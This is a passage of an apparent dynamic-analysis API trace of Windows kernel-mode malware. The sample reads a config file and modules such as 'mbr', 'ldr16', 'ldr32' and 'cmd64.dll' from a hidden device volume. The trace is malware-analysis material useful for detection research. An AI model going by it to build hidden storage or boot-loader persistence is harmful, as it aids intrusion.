_Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.944] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.944] KeLeaveCriticalRegion () [0121.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.944] ReleaseMutex (hMutex=0x100) returned 1 [0121.944] Sleep (dwMilliseconds=0x2bf20) [0121.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6be17430, dwHighDateTime=0x1d24fa4)) [0121.950] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.950] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.950] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.950] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.950] KeEnterCriticalRegion () [0121.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.951] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.951] IdePortDispatch () returned 0x103 [0121.951] KeWaitForMutexObject () returned 0x0 [0121.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.951] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.951] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.951] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.951] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.951] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9e10 [0121.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.951] KeLeaveCriticalRegion () [0121.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.951] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.951] KeEnterCriticalRegion () [0121.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.951] KeLeaveCriticalRegion () [0121.951] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.951] KeEnterCriticalRegion () [0121.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.951] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.951] IdePortDispatch () returned 0x103 [0121.951] KeWaitForMutexObject () returned 0x0 [0121.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.952] KeLeaveCriticalRegion () [0121.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.952] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.952] KeEnterCriticalRegion () [0121.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfd000 [0121.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.952] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.952] IdePortDispatch () returned 0x103 [0121.952] KeWaitForMutexObject () returned 0x0 [0121.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.952] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.952] IdePortDispatch () returned 0x103 [0121.952] KeWaitForMutexObject () returned 0x0 [0121.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.952] KeLeaveCriticalRegion () [0121.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.953] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.953] KeEnterCriticalRegion () [0121.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.953] KeLeaveCriticalRegion () [0121.953] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.953] KeEnterCriticalRegion () [0121.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.953] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.953] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.953] KeLeaveCriticalRegion () [0121.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.953] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.953] KeEnterCriticalRegion () [0121.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.953] ExFreePoolWithTag (P=0xfffffa8003bc9e10, Tag=0x0) [0121.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.953] KeLeaveCriticalRegion () [0121.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.953] ReleaseMutex (hMutex=0xf0) returned 1 [0121.953] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.953] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.953] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.954] KeEnterCriticalRegion () [0121.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.954] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.954] IdePortDispatch () returned 0x103 [0121.954] KeWaitForMutexObject () returned 0x0 [0121.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.954] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.954] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.954] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.954] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.954] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbea90 [0121.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.954] KeLeaveCriticalRegion () [0121.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.954] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.954] KeEnterCriticalRegion () [0121.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.954] KeLeaveCriticalRegion () [0121.954] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.954] KeEnterCriticalRegion () [0121.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.954] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.954] IdePortDispatch () returned 0x103 [0121.954] KeWaitForMutexObject () returned 0x0 [0121.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.955] KeLeaveCriticalRegion () [0121.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.955] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.955] KeEnterCriticalRegion () [0121.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.955] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfe000 [0121.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.955] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.955] IdePortDispatch () returned 0x103 [0121.955] KeWaitForMutexObject () returned 0x0 [0121.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.955] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.955] IdePortDispatch () returned 0x103 [0121.955] KeWaitForMutexObject () returned 0x0 [0121.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.955] KeLeaveCriticalRegion () [0121.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.956] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.956] KeEnterCriticalRegion () [0121.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.956] KeLeaveCriticalRegion () [0121.956] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.956] KeEnterCriticalRegion () [0121.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.956] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.956] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.956] KeLeaveCriticalRegion () [0121.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.956] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.956] KeEnterCriticalRegion () [0121.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.956] ExFreePoolWithTag (P=0xfffffa8003bbea90, Tag=0x0) [0121.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.956] KeLeaveCriticalRegion () [0121.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.956] ReleaseMutex (hMutex=0xf0) returned 1 [0121.956] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.956] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.956] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.956] KeEnterCriticalRegion () [0121.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.957] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.957] IdePortDispatch () returned 0x103 [0121.957] KeWaitForMutexObject () returned 0x0 [0121.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.957] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.957] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.957] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.957] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.957] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2a00 [0121.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.957] KeLeaveCriticalRegion () [0121.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.957] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.957] KeEnterCriticalRegion () [0121.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.957] KeLeaveCriticalRegion () [0121.957] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.957] KeEnterCriticalRegion () [0121.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.957] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.957] IdePortDispatch () returned 0x103 [0121.957] KeWaitForMutexObject () returned 0x0 [0121.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.958] KeLeaveCriticalRegion () [0121.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.958] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.958] KeEnterCriticalRegion () [0121.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bff000 [0121.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.958] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.958] IdePortDispatch () returned 0x103 [0121.958] KeWaitForMutexObject () returned 0x0 [0121.958] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.958] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.958] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.958] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.958] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.958] IdePortDispatch () returned 0x103 [0121.958] KeWaitForMutexObject () returned 0x0 [0121.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.959] KeLeaveCriticalRegion () [0121.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.959] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.959] KeEnterCriticalRegion () [0121.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.959] KeLeaveCriticalRegion () [0121.959] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.959] KeEnterCriticalRegion () [0121.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.959] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2360, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.960] KeLeaveCriticalRegion () [0121.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.960] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.960] KeEnterCriticalRegion () [0121.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.960] ExFreePoolWithTag (P=0xfffffa8003be2a00, Tag=0x0) [0121.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.960] KeLeaveCriticalRegion () [0121.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.960] ReleaseMutex (hMutex=0xf0) returned 1 [0121.960] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.960] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.960] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.960] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.960] KeEnterCriticalRegion () [0121.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.960] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.960] IdePortDispatch () returned 0x103 [0121.960] KeWaitForMutexObject () returned 0x0 [0121.960] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.960] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.960] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.961] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.961] 